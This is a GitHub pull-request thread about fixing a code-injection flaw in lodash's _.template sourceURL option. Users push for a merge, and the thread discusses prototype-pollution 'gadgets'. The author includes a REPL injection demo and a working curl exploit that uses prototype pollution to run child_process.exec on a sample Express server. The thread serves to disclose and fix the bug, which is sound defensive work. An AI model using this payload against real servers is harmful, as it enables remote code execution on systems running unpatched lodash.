Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Sanitize sourceURL so it cannot affect evaled code #4518

Open
wants to merge 1 commit into
base: 4.17.15-post
from

Conversation

@alexbrasetvik
Copy link

alexbrasetvik commented Oct 16, 2019

Wherever it comes from, sourceURL should not be allowed to contain code that gets eval()-ed.

/\s/ should cover all the bases as far as I know, including the various unicode-y ways of encoding newlines.

> sourceURL = '\u2028\u2029\nconsole.log("o hai")'
'

\nconsole.log("o hai")'
> eval('//# sourceURL=' + sourceURL)
o hai
undefined
> eval('//# sourceURL=' + sourceURL.replace(/\s/g, ' '))
undefined
@alexbrasetvik

This comment has been minimized.

Copy link
Author

alexbrasetvik commented Oct 17, 2019

@jdalton As you requested, I added back the hasOwnProperty check.

I removed it because as I mentioned it's going to always be true because of the assignInWith treatment.

> options = {}
{}
> options.__proto__['sourceURL'] = 'whatever'
'whatever'
> options.hasOwnProperty('sourceURL')
false
> options = _.assignInWith({}, options)
{ sourceURL: 'whatever' }
> options.hasOwnProperty('sourceURL')
true
kobelb added a commit to kobelb/lodash that referenced this pull request Oct 23, 2019
@alexbrasetvik

This comment has been minimized.

Copy link
Author

alexbrasetvik commented Oct 28, 2019

@jdalton Anything else you'd want to see change here? :)

@alexbrasetvik

This comment has been minimized.

Copy link
Author

alexbrasetvik commented Dec 18, 2019

@jdalton I'm sorry to nag, but I really think this change is for the better. Is there anything else I can do to help on this one? :)

@nickswope

This comment has been minimized.

Copy link

nickswope commented Dec 26, 2019

@jdalton, can this please get merged in and released ASAP? Our vulnerability scans are marking lodash as a level 9.8 out of 10 because of this, which is a hard no go. Due to the immense popularity of this package, this is highly problematic for us. I’d imagine there are many other enterprise users who are in the same boat.

@alexbrasetvik, thanks for this fix and your persistence.

@arnoldtaocy

This comment has been minimized.

Copy link

arnoldtaocy commented Jan 3, 2020

@jdalton SonarQube marked this as critical security issue. Any plan to fix it?

@Ivaylo-Lafchiev

This comment has been minimized.

Copy link

Ivaylo-Lafchiev commented Jan 7, 2020

Also keen to see this merged in, it's blocking a number of projects due to vulnerability scanning.

@naresh493

This comment has been minimized.

Copy link

naresh493 commented Jan 7, 2020

@mathiasbynens @jdalton we are eagerly waiting for latest release. Because current package have lot off vulnerabilities which is blocking us all Jenkins deployments. Our security scans are finding level 9 issues on latest lodash version

@naresh493

This comment has been minimized.

Copy link

naresh493 commented Jan 9, 2020

@jdalton / @mathiasbynens Security scans are marked this as a critical issue. Any plans when we have available new release without any vulnerabilities?

@rghose

This comment has been minimized.

Copy link

rghose commented Jan 9, 2020

Please get this merged @jdalton / others!

@alexbrasetvik alexbrasetvik force-pushed the alexbrasetvik:stop-sourceurl-code-injection branch from d2770b2 to 95d571f Jan 10, 2020
@alexbrasetvik

This comment has been minimized.

Copy link
Author

alexbrasetvik commented Jan 10, 2020

I've squashed the fixup commit.

Here's a trivially vulnerable example app and exploit:

const express = require('express')
const _ = require('lodash'); // using v4.17.14 as an easy prototype pollution example
const app = express()

app.use(express.json())

app.post('/', (req, res) => {
  // prototype pollution happens here. don't be vulnerable to that,
  // ... but as lodash history also shows, it's not always easy to
  // not accidentally be vulnerable to prototype pollution, like
  // the version just prior to the latest one was:
  let whatever = _.defaultsDeep({}, req.body)

  // so assuming a prototype pollution vulnerability exists, an
  // RCE happens here:
  res.send(_.template('Hello World!')())
})

app.listen(3000)

… which can be RCE-ed via …

$ curl -D- localhost:3000 -H 'Content-Type: application/json' -d $'{"constructor": {"prototype": {"sourceURL": "\u2028global.process.mainModule.require(\'child_process\').exec(\'say pwned\')"}}}'

I don't particularly care whether an advisory is issued, though other projects have recognized the potential harm in being a "pollution gadget" and done so - https://snyk.io/vuln/SNYK-JS-DOT-174124

An application with a prototype pollution vulnerability, regardless of where it comes from, will need to have that pollution problem fixed, but let's at least close well-known gadgets that turn them into trivial RCEs.

@LacikIgor

This comment has been minimized.

Copy link

LacikIgor commented Jan 13, 2020

How is this looking? :-)

@tsve7kov

This comment has been minimized.

Copy link

tsve7kov commented Jan 14, 2020

@jdalton @alexbrasetvik When are you guys planning to release a new version with the fix? Our White Hat scans flagged 4.17.15 as vulnerable, so we're anxiously waiting for a version bump. Thanks!

@AlAyoub

This comment has been minimized.

Copy link

AlAyoub commented Jan 15, 2020

@alexbrasetvik @jdalton any new developments? I know there are many of us who are anxiously hoping that a fix goes in. We appreciate your efforts, thank you.

@alexbrasetvik

This comment has been minimized.

Copy link
Author

alexbrasetvik commented Jan 18, 2020

I'd be happy to help more, but we'll need to wait for jdalton's feedback.

We've resorted to running a custom fork with this patch in it.

@sdalonzo

This comment has been minimized.

Copy link

sdalonzo commented Jan 20, 2020

custom fork

@alexbrasetvik Any chance you intend to publish this fork if this PR isn't merged?

@BlueHatbRit

This comment has been minimized.

Copy link

BlueHatbRit commented Jan 20, 2020

@sdalonzo I'm not sure a fork of lodash would be very useful, it's used by so many libraries that you'd struggle not to have this security alert in your project (assuming you're using npm and other packages). It feels like it's best to wait for the core team to respond.

@franktopel

This comment has been minimized.

Copy link

franktopel commented Jan 22, 2020

@jdalton Is this project still being maintained by you? So many mentions in this critical issue and still not a single comment from your side.

@jdalton

This comment has been minimized.

Copy link
Member

jdalton commented Jan 22, 2020

_.template has never been secure. This is just yet another thing. I'll get to it, but it's not critical and does not meet the bar for my attention at the moment.

@nickswope

This comment has been minimized.

Copy link

nickswope commented Jan 22, 2020

@jdalton yes, that’s exactly the point. It needs to be secure. Sonatype states this specific vulnerability was due to an incomplete fix in a previous vulnerability. There is not a secure version.

You may not feel this is critical or that helping us is worth your time, but there are multiple industry leading security tools that disagree with you.

Personally, if I were the maintainer of what may be the most used npm package, and I had security scans telling everyone my package is a level 9.8 out of 10 security threat, I’d be incredibly embarrassed and wouldn’t sleep before it were fixed. Unfortunately, we have to rely on you for this. Please help.

@franktopel

This comment has been minimized.

Copy link

franktopel commented Jan 22, 2020

@jdalton

_.template has never been secure. This is just yet another thing. I'll get to it, but it's not critical and does not meet the bar for my attention at the moment.

Did you even review the suggested PR? Any other reason not to merge it?

@BlueHatbRit

This comment has been minimized.

Copy link

BlueHatbRit commented Jan 22, 2020

Lets try and keep this cheerful and civil, at the end of the day lodash is a free and open source tool and it's maintained during peoples spare time. It sounds like this fix requires quite a bit of thought and energy, and that the maintainers don't want to do a half baked job at it. Lets try and continue to respect that.

Perhaps if this is affecting companies we work for, we could help pay towards a fix via some sort of bug bounty? I'm not sure if anything is setup for that with lodash.

@nickswope

This comment has been minimized.

Copy link

nickswope commented Jan 23, 2020

@BlueHatbRit I don't agree. You should look at the commit for this PR. Here is the description of the vulnerability in question:
image
The only change required here is switching the regex from checking only windows/macOS line endings to use the more generic \s character class, which accounts for unix line endings as well. This should be entirely non-controversial.

@alexbrasetvik committed the fix for this over three months ago and requests for feedback were ignored twice. The issue is not a lack of community contribution. You did comment on a pull request, after all.

@jdalton only responded after @franktopel got direct with him yesterday. He basically responded by telling everyone his time is too valuable, and that we aren't important enough for him to press the merge button and cut a release - something he hasn't done in over six months. So, I agree, we should all be respectful and courteous towards one another. However, I don't think being direct is equivalent to incivility.

On another note, I think this situation is another example of a huge problem with the npm model that's been well documented, like the infamous left-pad incident. Essentially, @jdalton and @mathiasbynens have exclusive control over this package, including security updates.

This package gets more downloads than react, jquery, angular, and vue combined. It is relied upon by your financial institutions, your healthcare providers, your critical infrastructure, and many of your other national security interests. No one is able to publish version 4.17.16 except those two.

It's particularly troubling to me that repeated attempts at feedback and communication by numerous people were ignored for months, and the only response was essentially "f*** off". That doesn't exactly help with garnering contributions in terms of funding and especially people. The broader npm community should consider some kind of override mechanism to allow publishing security fixes. I'm not sure how that would work in practice, but some things are bigger than one person.

@alexbrasetvik

This comment has been minimized.

Copy link
Author

alexbrasetvik commented Jan 29, 2020

As much as I'd like to see this fixed in a public release, I want to point out that the pasted advisory is inaccurate.

The problem with _.template is not that it causes prototype pollution (which the advisory above suggests), but that if a prototype pollution issue is present in the application, any subsequent invocation of _.template will let you easily turn the prototype pollution into a reliable remote code execution vector. (Or an XSS in the frontend, which would defeat a content security policy that allows unsafe-inline, as you'd need to allow unsafe-inline to use _.template in the frontend in the first place.)

If your app can be prototype polluted, you have a security issue on your hands also without _.template. My understanding of @jdalton's position (and I could be wrong) is that that would be the security issue and that _.template is not vulnerable on its own – which is true, but also means I haven't conveyed my point well enough.

While I definitely agree that an app cannot be secure with a prototype pollution bug in it, I also think it's important to fix "gadgets" like _.template. Lodash's own history shows that prototype pollution issues can be gnarly to eradicate. (And it's not particular to Lodash, most libraries that provide e.g. deep merging have their own steady stream of pollution-related CVEs, and it's easy to accidentally invent one yourself.)

The "gadget" is a term I've borrowed from the Java deserialization "gadget chain" class of vulnerabilities, where something is only vulnerable if chained with something else. There are certainly other known gadgets in Node, and likely many unknown ones. Node is considering hardening the child_process APIs to make them less explosive in the presence of a pollution issue, acknowledging the problem as one worth securing in depth.

Lodash is everywhere (which is a testament to @jdalton's great work), and I'd love for it to set a good example of trying to mitigate these issues in depth. In large applications you or your dependency's dependency will eventually have a prototype pollution issue, and if we err on the safe side instead of considering it "somebody else's problem", that'd be great.

The first RCE I found using sourceURL was through a prototype pollution in lodash.merge. The second RCE was the application inventing its own prototype pollution, but lodash.template was still what made it an easy RCE.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Linked issues

Successfully merging this pull request may close these issues.

None yet

You can’t perform that action at this time.